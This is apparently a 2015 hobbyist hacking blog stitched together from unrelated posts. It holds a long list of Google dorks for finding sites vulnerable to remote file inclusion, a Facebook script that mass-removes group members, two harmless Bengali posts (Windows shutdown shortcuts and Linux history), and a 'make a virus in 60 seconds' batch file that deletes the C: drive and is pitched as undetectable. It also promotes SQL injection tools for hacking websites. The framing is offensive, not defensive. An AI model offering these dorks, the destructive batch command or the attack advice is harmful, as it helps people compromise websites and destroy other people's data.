Friday, March 13, 2015

Some RFI Dork

inurl:/_functions.php?prefix=

inurl:/cpcommerce/_functions.php?prefix=

inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/ashnews.php?pathtoashnews=

inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=

inurl:/pm/lib.inc.php?pm_path=

inurl:/b2-tools/gm-2-b2.php?b2inc=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/includes/include_once.php?include_file=

inurl:/e107/e107_handlers/secure_img_render.php?p=

inurl:/shoutbox/expanded.php?conf=

inurl:/main.php?x=

inurl:/myPHPCalendar/admin.php?cal_dir=

inurl:/index.php/main.php?x=

inurl:/index.php?include=

inurl:/index.php?x=

inurl:/index.php?open=

inurl:/index.php?visualizar=

inurl:/template.php?pagina=

inurl:/index.php?pagina=

inurl:/index.php?inc=

inurl:/includes/include_onde.php?include_file=

inurl:/index.php?page=

inurl:/index.php?pg=

inurl:/index.php?show=

inurl:/index.php?cat=

inurl:/index.php?file=

inurl:/db.php?path_local=

inurl:/index.php?site=

inurl:/htmltonuke.php?filnavn=

inurl:/livehelp/inc/pipe.php?HCL_path=

inurl:/hcl/inc/pipe.php?HCL_path=

inurl:/inc/pipe.php?HCL_path=

inurl:/support/faq/inc/pipe.php?HCL_path=

inurl:/help/faq/inc/pipe.php?HCL_path=

inurl:/helpcenter/inc/pipe.php?HCL_path=

inurl:/live-support/inc/pipe.php?HCL_path=

inurl:/gnu3/index.php?doc=

inurl:/gnu/index.php?doc=

inurl:/phpgwapi/setup/tables_update.inc.php?appdir=

inurl:/forum/install.php?phpbb_root_dir=

inurl:/includes/calendar.php?phpc_root_path=

inurl:/includes/setup.php?phpc_root_path=

inurl:/inc/authform.inc.php?path_pre=

inurl:/include/authform.inc.php?path_pre=

inurl:index.php?nic=

inurl:index.php?sec=

inurl:index.php?content=

inurl:index.php?link=

inurl:index.php?filename=

inurl:index.php?dir=

inurl:index.php?document=

inurl:index.php?view=

inurl:*.php?sel=

inurl:*.php?session=&content=

inurl:*.php?locate=

inurl:*.php?place=

inurl:*.php?layout=

inurl:*.php?go=

inurl:*.php?catch=

inurl:*.php?mode=

inurl:*.php?name=

inurl:*.php?loc=

inurl:*.php?f=

inurl:*.php?inf=

inurl:*.php?pg=

inurl:*.php?load=

inurl:*.php?naam=

allinurl:/index.php?page= site:*.ru

allinurl:/index.php?file= site:*.ru



Script for removing all group members!.txt

var deleteAllGroupMembers = (function () {
var deleteAllGroupMembers = {};
// the facebook ids of the users that will not be removed.
// IMPORTANT: add your own facebook id here so that the script will not remove yourself!
var excludedFbIds = ['1234','11223344']; // make sure each id is a string!
var usersToDeleteQueue = [];
var scriptEnabled = false;
var processing = false;
deleteAllGroupMembers.start = function() {
scriptEnabled = true;
deleteAll();
};
deleteAllGroupMembers.stop = function() {
scriptEnabled = false;
};
function deleteAll() {
if (scriptEnabled) {
queueMembersToDelete();
processQueue();
}
}
function queueMembersToDelete() {
var adminActions = document.getElementsByClassName('adminActions');
console.log(excludedFbIds);
for(var i=0; i<adminActions.length; i++) {
var gearWheelIconDiv = adminActions[i];
var hyperlinksInAdminDialog = gearWheelIconDiv.getElementsByTagName('a');
var fbMemberId = gearWheelIconDiv.parentNode.parentNode.id.replace('member_','');
var fbMemberName = getTextFromElement(gearWheelIconDiv.parentNode.parentNode.getElementsByClassName('fcb')[0]);
if (excludedFbIds.indexOf(fbMemberId) != -1) {
console.log("SKIPPING "+fbMemberName+' ('+fbMemberId+')');
continue;
} else {
usersToDeleteQueue.push({'memberId': fbMemberId, 'gearWheelIconDiv': gearWheelIconDiv});
}
}
}
function processQueue() {
if (!scriptEnabled) {
return;
}
if (usersToDeleteQueue.length > 0) {
removeNext();
setTimeout(function(){
processQueue();
},1000);
} else {
getMore();
}
}
function removeNext() {
if (!scriptEnabled) {
return;
}
if (usersToDeleteQueue.length > 0) {
var nextElement = usersToDeleteQueue.pop();
removeMember(nextElement.memberId, nextElement.gearWheelIconDiv);
}
}
function removeMember(memberId, gearWheelIconDiv) {
if (processing) {
return;
}
var gearWheelHref = gearWheelIconDiv.getElementsByTagName('a')[0];
gearWheelHref.click();
processing = true;
setTimeout(function(){
var popupRef = gearWheelHref.id;
var popupDiv = getElementByAttribute('data-ownerid',popupRef);
var popupLinks = popupDiv.getElementsByTagName('a');
for(var j=0; j<popupLinks.length; j++) {
if (popupLinks[j].getAttribute('href').indexOf('remove.php') !== -1) {
// this is the remove link
popupLinks[j].click();
setTimeout(function(){
var confirmButton = document.getElementsByClassName('layerConfirm uiOverlayButton selected')[0];
var errorDialog = getElementByAttribute('data-reactid','.4.0');
if (confirmButton != null) {
if (canClick(confirmButton)) {
confirmButton.click();
} else {
console.log('This should not happen memberid: '+memberId);
5/0;
console.log(gearWheelIconDiv);
}
}
if (errorDialog != null) {
console.log("Error while removing member "+memberId);
errorDialog.getElementsByClassName('selected layerCancel autofocus')[0].click();
}
processing = false;
},700);
continue;
}
}
},500);
}
function canClick(el) {
return (typeof el != 'undefined') && (typeof el.click != 'undefined');
}
function getMore() {
processing = true;
more = document.getElementsByClassName("pam uiBoxLightblue uiMorePagerPrimary");
if (typeof more != 'undefined' && canClick(more[0])) {
more[0].click();
setTimeout(function(){
deleteAll();
processing = false;
}, 2000);
} else {
deleteAllGroupMembers.stop();
}
}
function getTextFromElement(element) {
var text = element.textContent;
return text;
}
function getElementByAttribute(attr, value, root) {
root = root || document.body;
if(root.hasAttribute(attr) && root.getAttribute(attr) == value) {
return root;
}
var children = root.children,
element;
for(var i = children.length; i--; ) {
element = getElementByAttribute(attr, value, children[i]);
if(element) {
return element;
}
}
return null;
}
return deleteAllGroupMembers;
})();
deleteAllGroupMembers.start();






collected...

কম্পিউটার বন্ধের যত উপায়


 নতুন অপারেটিং সিস্টেম উইন্ডোজ ৮-এ কম্পিউটার বন্ধ বা পুনরায় চালু করতে হলে প্রথমে মাউসটিকে পর্দার একেবারে ডান পাশে নিয়ে যেতে হয়। তখন উইন্ডোজের কিছু অপশন আসে, সেখান থেকে সেটিংস নির্বাচন করে পাওয়ার অপশন থেকে তবেই কম্পিউটার বন্ধ বা পুনরায় চালু করতে হয়।

এই ঝামেলা এড়াতে চাইলে প্রথমে Windows Key + D চেপে উইন্ডোজের ডেস্কটপ মোডে চলে আসুন। ডেস্কটপের খালি জায়গায় ডান ক্লিক করে New নির্বাচন করে Shortcut অপশনে ক্লিক করুন। এ উইন্ডোটি শর্টকাটের অবস্থান জানতে চাইবে। শাটডাউন প্রক্রিয়ার শর্টকাট তৈরি করতে চাইলে লোকেশনের জায়গায় লিখুন shutdown /p তারপর নেক্সট চাপুন, যেকোনো একটি নাম দিন অথবা শাটডাউন নামে যা আছে তাই রেখে ফিনিশ করুন। নতুন বানানো শর্টকাটে ডান ক্লিক করে Pin to Start নির্বাচন করুন। স্টার্ট স্ক্রিনে গিয়ে দেখুন সেখানে শাটডাউন নামে নতুন একটি টাইল যুক্ত হয়েছে। ডেস্কটপে রাখা শর্টকাটটিতে অথবা স্টার্ট পর্দায় বানানো টাইলসটিতে ক্লিক করলে কম্পিউটার সঙ্গে সঙ্গে বন্ধ হয়ে যাবে। একইভাবে উইন্ডোজ এক্সপি এবং ৭ অপারেটিং সিস্টেমেও ডেস্কটপে এই শর্টকাট তৈরি করে কম্পিউটার বন্ধের কাজটি করা যাবে।
একইভাবে রিস্টার্ট শর্টকাট বানাতে চাইলে লোকেশনের জায়গায় শুধু লিখতে হবে shutdown /r /t 0 (এখানে শেষ অক্ষরটি শূন্য)। ডেস্কটপের এই শর্টকাটে ডান ক্লিক করে Pin to Start নির্বাচন করলে স্টার্ট পর্দায় রিস্টার্ট নামে নতুন একটি টাইলস চলে আসবে। ডেস্কটপের শর্টকাটে অথবা স্টার্ট পর্দায় টাইলসটি ক্লিক করলে কোনো সতর্ক বার্তা দেওয়া ছাড়াই কম্পিউটার বন্ধ হয়ে পুনরায় চালু হবে। শুধু ডেস্কটপ শর্টকাট তৈরির ক্ষেত্রে একইভাবে এটি উইন্ডোজ এক্সপি এবং ৭-এ প্রযোজ্য হবে।

আপনি যদি উইন্ডোজ ৮.১ ব্যবহার করেন, তাহলে নতুন একটি সুবিধা পাবেন। কি-বোর্ডের Windows Key + X চেপে অথবা স্টার্ট বোতামে ডান ক্লিক করলে Shut down or sign out নামে একটি অপশন পাবেন, সেখান থেকে প্রয়োজনীয় কাজটি সারা যাবে।

উইন্ডোজ এক্সপির ক্ষেত্রে Windows Key চেপে ধরে দুবার U চাপলে সেটি বন্ধ অথবা একবার U ও আরেকবার R চেপে রিস্টার্ট করা যায়। উইন্ডোজ সাতে Windows Key চাপার পর ডান তির চিহ্নিত বোতাম বা রাইট অ্যারো চেপে এন্টার চাপলে সেটি বন্ধ হবে অথবা উইন্ডোজ কি চাপার পর দুবার ডান অ্যারো চেপে এবং দুবার আপ অ্যারো চেপে এন্টার করলে রিস্টার্ট হবে।

collected

লিনাক্সের জন্ম কাহিনী

  • সোনালী চুলের ছেলেটিঃ

১৯৬৯ সালের ডিসেম্বরে যখন ছেলেটার জন্ম হয় তখনই কি সাংবাদিক এবং কবি ওলে টরভাল্ডস বুঝতে পেরেছিলেন যে তার নাতি একদিন বিশ্ব কাঁপাবে? ওলে টরভাল্ডসের ছেলে নিল‍্স বা ছেলের বউ এ্যানাও মনে হয় বুঝেছিল যে তাদের ছেলেকে একদিন পুরো বিশ্ব চিনবে এক নামে। সেজন্যই বোধহয় নোবেল প্রাইজ বিজয়ী আমেরিকান কেমিস্ট “লিনুস পলিং” এর নামানুসারে ছোট্ট ছেলেটির নাম রাখেন লিনুস বেনেডিক্ট টরভাল্ডস। দাদা ছিলেন একাধারে কবি ও সাংবাদিক, বাবা-মা দুজনেই সাংবাদিক, তাই চোখ বন্ধ করেই বলে দেয়া যায় ছোট্ট লিনুস বড় হলে এই লেখালেখির জগতকেই আপন করে নিবে। লেখালেখির জগৎকে লিনুস আপন করে নিয়েছিল ঠিকই তবে সেটা অন্য ধরনের লেখালেখি আর জগৎটাও হচ্ছে অন্যরকম। ডিজিটাল জগতে কোড লেখালেখিতেই যেন এই ছেলের মূল আনন্দ।


ছোটবেলা থেকেই ছেলেটা একটু মুখচোরা ধরনের ছিল, কারো সাথে তেমন মিশতোনা, অন্যদের সাথে খেলাধূলাতেও নেই সেরকম উৎসাহ। বাবা অনেক চেষ্টা করলেন ছেলেকে কিছুটা সামাজিক করতে কিন্তু সব চেষ্টাই বিফলে গেল। ছেলে থাকে নিজের মত করে। তবে আর কেউ বুঝতে পারুক আর না পারুক, লিনুসের নানা কিন্তু ঠিকই তার নাতিকে চিনেছিলেন। ফিনল্যান্ডের বিখ্যাত হেলসিংকি ইউনিভার্সিটির পরিসংখ্যানের প্রফেসর এই ভদ্রলোক নাতিকে তাই কিনে দিলেন একটা কম্পিউটার – “কমোডোর ভিআইসি টুয়েন্টি”। জীবনের প্রথম পারসোনাল কম্পিউটার পেয়ে লিনুসতো মহাখুশি! কিন্তু কম্পিউটারের সাথে দেয়া অল্প কিছু প্রোগ্রাম নিয়ে কাজ করার পর অল্প কয়েকদিনের মধ্যেই সেই খুশিটা উধাও হয়ে গেল। তারপর আর কোন উপায় না দেখে লিনুস নিজেই বসে গেলেন প্রোগ্রাম লিখতে। বেসিক দিয়ে শুরু করলেও পরে এ্যাসেম্বলি ল্যাংগুয়েজের দিকে ঝুঁকে পড়লেন তিনি। ধীরে ধীরে প্রোগ্রামিং আর গনিতই হয়ে পড়ল তার জীবনের একটা বড়সর অংশ।
  • আধ পাগলা লোকটাঃ
এমআইটির আর্টিফিসিয়াল ইন্টেলিজেন্স ল্যাবে ক্যারিয়ার শুরু করা রিচার্ড স্টলম্যান আধপাগলা ছিল না পুরা পাগলা ছিল সেটা গবেষনার বিষয়। কিন্তু এটা ঠিক যে এই লোকটির জন্যই আজকে পৃথিবীতে মুক্ত সফটওয়্যারের জোয়ার শুরু হয়েছে। আশির দশকের প্রথমভাগে কমার্শিয়াল সফটওয়্যার কোম্পানিগুলো মোটা টাকা দিয়ে আর্টিফিসিয়াল ইন্টেলিজেন্স ল্যাবের ব্রিলিয়ান্ট প্রোগ্রামারদের হাত করতে শুরু করল। সেই সাথে তারা তাদের সফটওয়্যারের সোর্স কোড নিয়েও গোপনীয়তা শুরু করল। অর্থ্যাৎ আমার আপনার মত সাধারন মানুষদের কোন অধিকার নাই কিভাবে কোন সফটওয়্যার তৈরি হল সেটা জানার। টাকা দিয়ে সফটওয়্যার কিনে ব্যবহার করার মধ্যেই সাধারন মানুষ সীমাবদ্ধ। কেউ যদি সেটা জানতেও চায় তাহলে পড়ে যাবে আইনের মারপ্যাচে কারন সেসব আবার কপিরাইটেড! বুঝুন অবস্থা! যদি আপনার টাকা থাকে তাহলে আপনি সফটওয়্যার কিনে ব্যবহার করতে পারবেন। আর যদি কেনার সামর্থ্য না থাকে তাহলে সফটওয়্যার আপনার জন্য না। কিন্তু রিচার্ড স্টলম্যানের দৃষ্টিভঙ্গী ছিল অন্য রকম। তার মতে এইসব বাধাধরা নিয়ম দিয়ে সফটওয়্যার ব্যবস্থাপনাকে আটকে ফেলা পুরোপুরি অনুচিত ও অনৈতিক। তার ধারনা মতে সফটওয়্যার হতে হবে মুক্ত, এতে করে সফটওয়্যারকে যে কেউ তার মত করে সাজিয়ে নিতে পারবে, ফলে সফটওয়্যারের উন্নয়নও দ্রুত হবে। সফটওয়্যারের স্বার্থেই একে কোন নিয়মনীতি দিয়ে আটকে ফেলা উচিত না। তিনি শুরু করলেন মুক্ত সফটওয়্যারের আন্দোলন, গড়ে তুললেন সমমনাদের নিয়ে সংগঠন, নাম দিলেন “গ্নু” (GNU)। শুরু হল মুক্ত সফটওয়্যার লেখার কাজ। কিন্তু এই আন্দোলনকে আরও বেগবান করতে দরকার ছিল একটা মুক্ত অপারেটিং সিস্টেম। কিন্তু সেজন্য দরকার প্রয়োজনীয় আরো সফটওয়্যার, বিশেষ করে একটা কম্পাইলার। সে লক্ষ্যে স্টলম্যান শুরু করলেন সি কম্পাইলার লেখার কাজ। তার কিংবদন্তিতূল্য প্রোগ্রামিং দক্ষতায় অল্প দিনেই তিনি শেষ করে ফেললেন কম্পাইলার লেখার কাজ, নাম দিলেন গ্নু সি কম্পাইলার বা জিসিসি (GCC)।



জিসিসিকে অন্যতম রকসলিড এবং কার্যকরি একটা কম্পাইলার হিসেবে বিবেচনা করা হয়। এরপর গ্নু হাত দিল অপারেটিং সিস্টেম লিখার কাজে। যেকোন অপারেটিং সিস্টেমের প্রান হচ্ছে তার কার্নেল। কার্নেলের উপর ভিত্তি করেই গড়ে উঠে যে কোন অপারেটিং সিস্টেম। গ্নু হার্ড (HURD) নামে একটা কার্নেলও বানিয়ে ফেললো। কিন্তু সেটা ডেভেলপারদের আকর্ষন করতে ব্যর্থ হয়। যার ফলে একটা অপারেটিং সিস্টেম ছাড়া গ্নু অসম্পূর্ন থেকে যায়। গ্নুকে সম্পুর্ন করতে দরকার একটা মুক্ত অপারেটিং সিস্টেম, তারও আগে দরকার একটা মুক্ত কার্নেল। নাহলে মুক্ত সফটওয়্যারের পুরো আন্দোলনই যে থেমে যাচ্ছে।
  • জন্ম নিল নতুন অপারেটিং সিস্টেমঃ
সময়টা ১৯৯১ সাল যখন লিনুস হেলসিংকি ইউনিভার্সিটির দ্বিতীয় বর্ষের ছাত্র, তখন আইবিএমের ইন্টেল ৩৮৬ প্রসেসরের একটা পার্সনাল কম্পিউটার কিনল। এই প্রেসেসরটি ছিল ইন্টেলের আগের প্রসেসরগুলোর তুলনায় অত্যধিক উন্নত। সেসময় আইবিএমের সাথে পাওয়া যেত এমএসডস অপারেটিং সিস্টেম। এমএসডস ব্যবহার করে লিনুস পুরোপুরি হতাশ হয়ে পড়ল, কারন ইন্টেলের ৩৮৬ প্রসেসরকে পুরোপুরি ব্যবহার করার ক্ষমতা সেটার ছিলনা। লিনুস চাচ্ছিল আরো ক্ষমতাসম্পন্ন ইউনিক্স অপারেটিং সিস্টেম ব্যবহার করতে। এর অন্য কারন অবশ্য ছিল সে তার ভার্সিটিতে ইউনিক্স ব্যবহার করে অভ্যস্ত। তাই নিজের পিসিতে একই অপারেটিং সিস্টেম থাকলে কাজ করতে সুবিধা। কিন্তু ইউনিক্স পাবার চেষ্টা করে হাল ছেড়ে দিলো যখন দেখলো যে ইউনিক্সের দাম ৫০০০ মার্কিন ডলার!
লিনুস তখন মিনিক্স নিয়ে পড়ল। মিনিক্স ছিল ডাচ প্রফেসর এন্ড্রু টানেনবমের লেখা ইউনিক্সের মত একটা অপারেটিং সিস্টেম। সোজা কথায় বলা চলে মিনিক্স ছিল ইউনিক্সের ছোটখাট একটা ক্লোন, তবে পুরোপুরি ক্লোন নয়। প্রফেসর সাহেব তার ছাত্রদের অপারেটিং সিস্টেম সম্পর্কে ক্লাশ নেবার সময় অপারেটিং সিস্টেমের ভিতরের খুটিনাটি বুঝাতে মিনিক্সকে ব্যবহার করতেন। তবে মিনিক্সের কোড কিছুটা উন্মুক্ত ছিল। সেসময় যে কেউ প্রফেসর টানেনবমের লেখা “অপারেটিং সিস্টেমঃ ডিজাইন এ্যান্ড ইম্পলিমেন্টেশন” বইটা কিনলেই সাথে করে মিনিক্সের ১২০০০ লাইনের কোডটা পেত। যদিও পুরো কোড উন্মুক্ত নয় তারপরও সেই সময় কোন অপারেটিং সিস্টেমের আংশিক কোড পাওয়াটাও ছিল ভাগ্যের ব্যপার। কিন্তু সমস্যা একটা ছিল, সেটা হল মিনিক্সের কোডকে নিজের ইচ্ছেমত পাল্টানোর লাইসেন্স ছিলনা। তাছাড়া এটা ছিল ছাত্রদের শিখানোর একটা উপকরনমাত্র, পুর্ণাঙ্গ অপারেটিং সিস্টেম বলতে যা বোঝায় সেটা না। যাই হোক আমাদের লিনুস সেই জিনিস একটা কিনে ফেললো। তারপর গুতোগুতি করতে গিয়ে টের পেলো যে এটাও তার চাহিদা পূরণের জন্য উপযুক্ত না। এরপর এক ভয়ানক স্বিদ্ধান্ত নিয়ে ফেললো লিনুস – নিজেই একটা অপারেটিং সিস্টেম বানিয়ে ফেলবে, তাও আবার একদম শূন্য থেকে, মিনিক্স আর ইউনিক্সের আদলে, পুরোপুরি নতুন একটা অপারেটিং সিস্টেম! এই স্বিদ্ধান্ত নেবার আগে সে কি বুঝতে পেরেছিল যে তার এই স্বিদ্ধান্ত শুধুমাত্র তার আইবিএমের পিসিকেই পাল্টে দেবেনা বরং তার জীবন এবং পৃথিবীকেও পাল্টে দেবে! মনে হয় না।
উনিশশো একানব্বইয়ের এপ্রিলে লিনুস শুরু করল তার অপারেটিং সিস্টেমের কাজ। টেক্সটবেজড ইউজার ইন্টারফেসের জন্য গ্নু ব্যাশ শেল আর কম্পাইলিং এর জন্য স্টলম্যানের বানানো গ্নু সি কম্পাইলার (GCC) যুক্ত করে মোটামুটি একটা কাঠামো দাঁড় করিয়ে লিনুস চাইলো মিনিক্স ইউজার গ্রুপের সবাইকে তার নতুন অপারেটিং সিস্টেমের কথা জানাতে। মনে ভয় ছিল শুনে হয়তো সবাই হাসাহাসি করবে, আবার আশাও ছিল হয়তো কয়েকজন তাকে এ ব্যাপারে সাহায্যও করতে পারে। দুরুদুরু মনেই সে নিচের ঐতিহাসিক ইমেইলটা গ্রুপে পোস্ট করে ফেললঃ

From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds)
Newsgroups: comp.os.minix
Subject: What would you like to see most in minix?
Summary: small poll for my new operating system
Message-ID:
Date: 25 Aug 91 20:57:08 GMT
Organization: University of HelsinkiHello everybody out there using minix –
I’m doing a (free) operating system (just a hobby, won’t be big and professional like gnu) for 386(486) AT clones. This has been brewing since april, and is starting to get ready. I’d like any feedback on things people like/dislike in minix, as my OS resembles it somewhat (same physical layout of the file-system(due to practical reasons) among other things). I’ve currently ported bash(1.08) and gcc(1.40),and things seem to work. This implies that I’ll get something practical within a few months, andI’d like to know what features most people would want. Any suggestions are welcome, but I won’t promise I’ll implement them
Linus (torvalds@kruuna.helsinki.fi)
PS. Yes – it’s free of any minix code, and it has a multi-threaded fs. It is NOT protable (uses 386 task switching etc), and it probably never will support anything other than AT-harddisks, as that’s all I have :-(.
এই বিখ্যাত মেইলটা পড়ে কিন্তু বোঝা যায় যে লিনুস নিজেও কল্পনা করতে পারেনি যে তার শখের বশে বানানো অপারেটিং সিস্টেম পৃথিবীতে বিশাল একটা পরিবর্তন আনবে। ঐ বছরেরই ১৭ই সেপ্টেম্বর লিনুস আর অপারেটিং সিস্টেমের প্রথম ভার্সন ০.০১ বের করে। ধীরে ধীরে অন্যরা জড়ো হতে থাকে। তারা ওএসটি ডাউনলোড করে নিজের সুবিধামত পরীক্ষা-পরিবর্তন-পরিবর্ধন করে পরিবর্তিত ভার্সনটি পাঠাতে থাকে লিনুসকে। গড়ে উঠতে থাকে লিনুসের নতুন অপারেটিং সিস্টেম। ৫ই অক্টোবর বের হল প্রথম অফিসিয়াল রিলিজ ভার্সন ০.০২। সংগে লিনুসের তরফ থেকে আরেকটি মেইলঃ

From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds)
Newsgroups: comp.os.minix
Subject: Free minix-like kernel sources for 386-AT
Message-ID:
Date: 5 Oct 91 05:41:06 GMT
Organization: University of HelsinkiDo you pine for the nice days of minix-1.1, when men were men and wrote their own device drivers? Are you without a nice project and just dying to cut your teeth on a OS you can try to modify for your needs? Are you finding it frustrating when everything works on minix? No more all-nighters to get a nifty program working? Then this post might be just for you
As I mentioned a month(?)ago, I’m working on a free version of a minix-lookalike for AT-386 computers. It has finally reached the stage where it’s even usable (though may not be depending on what you want), and I am willing to put out the sources for wider distribution. It is just version 0.02 (+1 (very small) patch already), but I’ve successfully run bash/gcc/gnu-make/gnu-sed/compress etc under it. Sources for this pet project of mine can be found at nic.funet.fi (128.214.6.100) in the directory /pub/OS/Linux. The directory also contains some README-file and a couple of binaries to work under linux (bash, update and gcc, what more can you ask for :-). Full kernel source is provided, as no minix code has been used. Library sources are only partially free, so that cannot be distributed currently. The system is able to compile “as-is” and has been known to work. Heh. Sources to the binaries (bash and gcc) can be found at the same place in /pub/gnu.
কয়েক সপ্তাহের মাঝে বের হল ভার্সন ০.০৩। ঐ বছরের ডিসেম্বরের মধ্যে বের হল ভার্সন ০.১০। এভাবে এগিয়ে যেতে থাকে লিনাক্স।
  • শুরু হল লিনাক্সের পথচলাঃ
লিনুসের খুব শখ ছিল তার অপারেটিং সিস্টেমের নাম হবে “ফ্রিক্স” (FREAKS) যেটা কিনা “Free”, “Freak” আর “Unix” শব্দ তিনটার মিলিত একটা রূপ। কিন্তু নামটা পছন্দ হয়নি এ্যারি লেম্কের। এ্যারি লেম্কে ছিল লিনুসের বন্ধু ও সহকর্মী এবং হেলসিংকি ইউনিভার্সিটির এফটিপি সার্ভারের এডমিনিস্ট্রেটর। এফটিপি সার্ভার দিয়ে খুব সহজেই যেকোন ফাইল সবার সাথে শেয়ার করা যায়। এ্যারিই লিনুসকে বুদ্ধি দিল যে নতুন ওএসের সোর্সকোডকে এফটিপি সার্ভারে শেয়ার করতে, যাতে করে পৃথিবীর সবার জন্যই এর কোডটা উন্মুক্ত থাকে আর যে কেউ সেটা নামিয়ে নিয়ে ব্যবহার করতে পারে। তবে এজন্য “ফ্রিক্স” নামটা পছন্দ হলনা এ্যারির। সে “লিনাক্স” নামের এক ফোল্ডারে এফটিপি সার্ভারে সেই কোডগুলো রেখে দিলেন। সেই থেকে নাম হয়ে গেল “লিনাক্স”। ওহ, বলতে তো ভুলেই গেলাম কেন এর নাম লিনাক্স হল, সহজ ব্যাপার “Linus’s Unix” থেকেই এ্যারির মাথায় লিনাক্স নামটা চলে আসে। আসল নাম হারিয়ে লিনাক্স এখন যে নামে পরিচিত সেটা আসলে তার ডাউনলোড করার জন্য রাখা ফোল্ডারের নাম।

এদিকে লিনাক্সের জন্য যখন প্রতীক খোঁজাখুজি শুরু হল তখন লিনুস বললেন পেঙ্গুইনের কথা। অবকাশে সাউদার্ন হেমিস্ফিয়ারে ছুটি কাটতে গিয়ে নাকি পেঙ্গুইনের কামড় খেয়েছিলেন লিনুস। সেই থেকে নাকি তার মাথায় পেঙ্গুইনের আইডিয়া আসে। তাও আবার যে সে পেঙ্গুইন না, নাদুসনুদুস পেঙ্গুইন। যেটা কিনা আবার অলস ভঙ্গিতে খাবার খাওয়ার পর ছোটখাট ভুড়ি উঁচিয়ে দু’পা ছড়িয়ে মাটিতে বসে আছে! এ কিরকম প্রতীক! অনেকেই আপত্তি জানালো। কিন্তু লিনুস বলে অন্য কথা “…অন্যান্য লোগোগুলো ছিল খুবই বোরিং এবং আমার মনের মতো ছিল না মোটেও। লিনাক্স করপোরেট লোগোর জন্য আমি খুঁজছিলাম এমন কিছু যা হবে মজার এবং লিনাক্সের সাথে সামঞ্জস্যপূর্ণ। একটা মোটাসোটা পেঙ্গুইন খাওয়াদাওয়া শেষ করে বসে আছে এমন একটা ছবি।… অনেকেই বলে কেন লিনাক্সের প্রতীক একটা নাদুসনুদুস পেঙ্গুইন? লিনাক্সের যে আভিজাত্য তার সাথে এটা ঠিক খাপ খায় না। যারা এ কথা বলে তারা কখনো একটা রাগী পেঙ্গুইনকে প্রতি ঘন্টায় ১০০ মাইল বেগে আক্রমন করতে দেখেনি…”। তাই অফিসিয়াল মাসকট হিসেবে পেঙ্গুইনকেই পছন্দ করা হল, এর নাম দেয়া হল টাক্স। এঁকেছিলেন ল্যারি উইং। সেই যে প্যাঙ্গুইনের প্যাঁকপ্যাঁক শুরু হল সেটা এখনো চলছে। আর দিনদিন এই প্যাঁকপ্যাঁকানি কেবল বেড়েই চলছে।
  • শেষের কথাঃ
টানেনবমের কথা মনে আছে? ঐ যে যার মিনিক্স নিয়ে সবাই অপারেটিং সিস্টেমের ভেতরের কলাকৌশল শিখতো। সেই টানেনবম লিনাক্স তৈরির প্রথমদিকে একবার লিনুসকে বলেছিলেন “আমি এখনো মনেকরি ১৯৯১ সালে এসে একটা মনোলিথিক কার্নেল ডিজাইন করার মানে হচ্ছে এক্কেবারে গোড়ায় গলদ করা। তোমার ভাগ্য ভালো যে তুমি আমার ছাত্র না। নাহলে এরকম বাজে ডিজাইনের জন্য আমার কাছ থেকে কখনোই বেশি গ্রেড পেতেনা”। শুধু তাইনা, টানেনবম একে “একেবারে সেকেলে” বলে আখ্যায়িত করেছিলেন। যে সময়কার কথা বলা হচ্ছে সে সময় টানেনবমের মত প্রফেসররা ছিলেন খুবই দাপুটে। তাদের সব কিছুকেই খুব সমীহের চোখে দেখা হত। কিন্তু বেচারা লিনাক্স নিয়ে ভুল বলেছিলেন। লিনুসও পাল্টা জবাব দিলেন “আপনার কাজ হচ্ছে প্রফেসরি আর গবেষনা করা, আর মিনিক্সের কিছু কিছু ব্রেন-ড্যামেজের জন্য এটাই বিশাল কারন!” সার্ভার আর সুপার কম্পিউটারের জগৎ জয় করে এবার লিনাক্স মনোযোগ দিয়েছে সাধারন ব্যবহারকারিদের ডেস্কটপের জগৎ জয়ের দিকে। এদিকে বোদ্ধারা বলছেন সার্ভার আর সুপার কম্পিউটার লিনাক্সের জন্য ঠিক আছে, কিন্তু ডেস্কটপে লিনাক্স কখনোই রাজত্ব করতে পারবেনা। টানেনবমের কথাতো আগেই ভুল প্রমানিত হয়েছে, এবার কম্পিউটার বিশ্ব আপেক্ষায় আছে, এইসব বোদ্ধাদের কথা কত তাড়াতাড়ি ভুল প্রমানিত হয় সেটা দেখার জন্য।

collected.......

Thursday, March 12, 2015

How to make powerful virus within 60 seconds


today we will teach you how to make powerful and dangerous virus within 60 seconds.we bring a piece of virus code that will destroy whole pc(i.e this code will delete all files contaning in c drive)and this virus cant be detected by anti-virus.there is only one thing required for this virus that is notepad.(please do not try this on your computer)

first open the notepad
@Echo off
Del C:\ *.* |y

now save the file named as virus.bat (filename.bat)
whenever this file will run,it will delete all files containg in c drive...

NOTE:
please do not try this on your own computer.we are not responsible for any such case.try it at your own risk.

How to learn hacking at home?


Everybody in this world likes hacking,so from now you can learn hacking at your home,All you need is your interest in hacking.so you can learn hacking by just reading some of our recommended eBooks which are shown below.These recommended eBooks will help you alot in learning hacking.From now you don't have to ask people to teach you hacking.
Here is our recommended eBooks,you can download them below:
Hacking Exposed Malware and Rootkits 

Hacking Point of Sale

Penetration Testing

Hacking Exposed Mobile

Hacking For Dummies, 4th Edition

Hacking the Kinect

Hacking and Securing iOS Applications


Gray Hat Hacking, 3rd Edition

Hacking Vim 7.2

Hacking Exposed Web Applications, 3rd Edition

Hacking Exposed Wireless, 2nd Edition

Hacking, 2nd Edition

Hacking Exposed, 6th Edition

Hacking Exposed Computer Forensics, 2nd Edition

Hacking VoIP

Hacking Exposed Linux, 3rd Edition

Hacking Exposed Web 2.0

Hacking Exposed Windows, 3rd Edition

Knoppix Hacks, 2nd Edition




মুল পোস্ট ঃ এখানে

Top 10 Sql injection tools for hackers


Many websites are vulnerable to a common and famous vulnerability known as "SQL",nowadays security experts are protecting the website from this vulnerability.SQL vulnerability is common vulnerability which almost every script kidde knows,once you got website with SQL vulnerability then you can easily hack website within some minutes.there are two types sql injection attack
1.Automatic SQL injection(in automatic sql injection ,we attack on website with the help of  SQL injection tools)
2.Manual SQL injection(in manual sql injection,we attack on website manually with some mysql codes)
Here we will discuss about top 10 SQL injection tools
 1).BSQL HACKER

 
2)THE MOLE


3)PANGOLIN


4)SQL MAP


5)HAVIJ




6)ENEMA SQLI


7)SQLNINJA


8)SQLSUS


9)SAFE SQL INJECTOR 
 

10) SQL POIZON

